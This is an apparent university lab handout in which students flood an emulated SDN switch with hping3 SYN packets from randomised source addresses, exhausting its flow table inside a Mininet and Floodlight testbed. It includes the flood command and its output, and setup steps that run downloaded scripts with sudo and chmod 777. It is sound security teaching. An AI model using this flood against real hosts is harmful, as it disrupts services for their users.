Denial-of-Service (DoS) Attacks in an SDN Environment
Contents

Experiment Task Design: .................................................................................................................. 3
Submission: ..................................................................................................................................... 3
Start the Experiment ......................................................................................................................... 3
Conduct the Experiment .................................................................................................................... 6
  Section 1.1: Installing Dependencies .............................................................................................. 6
  Section 1.2: Installing Mininet ......................................................................................................... 8
  Section 1.3: Installing Hping3 ......................................................................................................... 8
  Section 2: Running Floodlight ......................................................................................................... 9
Conclusions ....................................................................................................................................... 15
Experiment Task Design:

In this lab, students are able to launch a DoS attack on the SDN data plane and explain the attack consequences. This lab provides step-by-step instructions to assist students in setting up the profile, creating the experimental topology and conducting the DoS attack in the data plane of SDN.

Submission:

Students should submit screenshots of step 1 and step 2 and explain each screenshot in a paragraph.

Start the Experiment

Click the “Experiments” button on the upper-left corner and choose “Start Experiment”.
Click “Change Profile” to select a proper profile for this experiment.

In the page, search the profile “DoSServer” and click the name to select it. Then Click “Select Profile”.

Select a Profile

DoSServer

My Profiles -
DoSServer SANTS2018Lab1
SANTS2018Lab1 -
DoSServer

Default Profiles -
Other Profiles -
Proceed by click “Next”. Before finalize the configuration, choose a cluster. E.g., choose “Emulab” as the cluster.

Below is the configuration of the profile for your reference. You may also be able to create your own profile by following the instructions in Lab 1.
Conduct the Experiment

Section 1.1: Installing Dependencies

The following dependencies need to be installed on the instantiated node: Floodlight, Mininet, Hping

Mininet
https://github.com/mininet/mininet

Floodlight
https://github.com/floodlight/floodlight) with its pre-requisites

hping3

(Note) These installations will not be saved when the Cloudlab Experiment has been terminated. Cloudlab allows users to request additional leasing time through of the ‘Extend’ button.
1) Open a new terminal. Click the icon and choose “Shell”

2) Run ‘sudo apt-get update’
3) Run ‘sudo apt-get install default-jdk -y; sudo apt-get install default-jre -y’ to install java.
4) Run ‘sudo apt-get install build-essential maven ant python- dev’ to install the pre-requisites to be able to build Floodlight

5) Run ‘git clone git://github.com/floodlight/floodlight.git -b v1.2’ to clone Floodlight from Github

6) cd into the floodlight directory ‘cd floodlight’
7) Run `git submodule update`

8) Run `ant` to build Floodlight.

9) Run `sudo mkdir /var/lib/floodlight`

10) Run `sudo chmod 777 /var/lib/floodlight` to provide proper Linux File execution permissions to be able to run Floodlight properly.

Note: You can download and run our script (set_floodlight.sh) to execute the above commands automatically. Run `wget https://people.cs.clemson.edu/~hongdal/set_floodlight.sh` to download the script. Run `sudo /bin/sh set_floodlight.sh; cd floodlight` to build Floodlight.

Section 1.2: Installing Mininet

1) Change directory to your home directory by running `cd ~`

2) Run `git clone git://github.com/mininet/mininet` to clone Mininet from Github

3) After cloning Mininet, cd into the Mininet directory

4) Run `git tag` to list the available branches of Mininet

5) Run `git checkout -b 2.2.1 2.2.1` to install Mininet version 2.2.1

6) cd out of the Mininet directory and install Mininet by running `mininet/util/install.sh -a`. Choose “Yes” if an option is prompted.

Note: You can download and run our script (set_mininet.sh) to execute the above commands automatically. Run `wget https://people.cs.clemson.edu/~hongdal/set_mininet.sh` to download the script. Run `sudo /bin/sh set_mininet.sh` to install Mininet.

Section 1.3: Installing Hping3

1) Run `sudo apt-get install hping3` to install Hping3
Section 2: Running Floodlight

1) Open a new terminal

2) `cd` into the floodlight directory shell.

3) Run `$ java -jar target/floodlight.jar` to run the Floodlight Controller
4) Open another new terminal

5) Run `sudo mn --controller=remote,ip=127.0.0.1,port=6653 --switch ovsk, protocols=OpenFlow13` to run a Mininet Topology

Note: The command in step 5 has the following parameters and explanations:

- 2 hosts are created by default
- The 2 hosts will be connected via an OVS bridge (Switch)
- The OVS bridge will be connected to the controller based on the specified IP address (127.0.0.1)
6) Run ‘`pingall’` to confirm that the host(s) are reachable to each other

```
mininet> pingall
*** Ping: testing ping reachability
h1 -> h2
h2 -> h1
*** Results: 0% dropped (2/2 received)
mininet>
```

7) Open a new terminal

8) Run ‘`sudo ovs-ofctl dump-flows s1 -O OpenFlow13’` to print the current flow-rules inside the switch

**Task 1:** What can be seen after running this command? Take a screenshot. This screenshot will be needed to refer to further observations with outputs in the future steps.
9) On the Mininet terminal, run `h1 hping3 h2 -c 10000 -S --flood --rand-source -V` to flood a lot of packets to h2.

Every packet sent to h2 will invoke an **OFPT_PACKET_IN** which will forward the first incoming packet to the controller. After receiving the packet-in message, the controller then sends an **OFPT_FLOW_MOD** message to the switch to install a new flow-rule.

```
mininet> h1 hping3 h2 -c 10000 -S --flood --rand-source -V
```

10) On a separate terminal, check the flow entries in switch S1.

**Task 2:** What can be seen observed in the flow-table now that hping3 is running? Any noticeable differences in output?
11) On the Mininet terminal, stop hping3 by using `ctrl + C`.

12) Ping h1 from h2. What can be observed on here?

```
Topological View List View Manifest Graphs node-0 node-0 node-0

h2 -> h1
*** Results: 0% dropped (2/2 received)
mininet>
mininet>
mininet> h1 hping3 h2 -c 10000 -S --flood --rand-source -V
*** Unknown command: h1 hping3 h2 -c 10000 -S --flood --rand-source -V
mininet> h1 hping3 h2 -c 10000 -S --flood --rand-source -V
using h1-eth0, addr: 10.0.0.1, MTU: 1500
HPING 10.0.0.2 (h1-eth0 10.0.0.2): S set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown
^C
--- 10.0.0.2 hping statistic ---
1958913 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
mininet>
mininet>
mininet> h1 ping h2
PING 10.0.0.2 (10.0.0.2) 56(84) bytes of data.
```
13) Wait 2 – 3 mins and repeat the previous step

```
1958913 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
mininet>
mininet>
mininet> h1 ping h2
PING 10.0.0.2 (10.0.0.2) 56(84) bytes of data.
^C
--- 10.0.0.2 ping statistics ---
15 packets transmitted, 0 received, 100% packet loss, time 14110ms
mininet>
mininet>
mininet> h1 ping h2
PING 10.0.0.2 (10.0.0.2) 56(84) bytes of data.
64 bytes from 10.0.0.2: icmp_seq=1 ttl=64 time=4.26 ms
64 bytes from 10.0.0.2: icmp_seq=2 ttl=64 time=0.358 ms
64 bytes from 10.0.0.2: icmp_seq=3 ttl=64 time=0.067 ms
4 bytes from 10.0.0.2: icmp_seq=4 ttl=64 time=0.076 ms
```

14) On an empty terminal, check the flow-table rules of OVS Switch S1

```
ode_0:-->
sudo ovs-ofctl dump-flows s1 -O OpenFlow13
```

```
OFPST_FLOW reply (OK=13) (xid=0x2):
  cookie=0x0000000000000000, duration=17.588s, table=0, n_packets=16, n_bytes=1568, idle_timeout=5, priority=1, ip, in_port=8:8:8, dl_dst=12:50:70:17:90:9f, nw_src=10.0.0.2, nw_dst=10.0.0.1 actions=output:1
  cookie=0x0000000000000000, duration=17.59s, table=0, n_packets=16, n_bytes=1568, idle_timeout=5, priority=1, ip, in_port=90:9f, dl_dst=72:66:88:78:88, nw_src=10.0.0.1, nw_dst=10.0.0.2 actions=output:2
  cookie=0x0, duration=261.659s, table=0, n_packets=754470, n_bytes=438679292, priority=0 actions=CONTROLLER:65535
node_0:-->
```
Conclusions

When the flow table of OVS switches is full, any additional flow-rule installation will be failed due to insufficient space in the flow table. A switch that cannot install a flow-entry will send an `OFPT_ERROR` message to the controller along with `OFPFMFC_TABLE_FULL`. The switch then drops the packet since it is unable to receive instructions to install a flow-entry due to the resource exhaustion. This is a DoS attack in the data plane of SDN.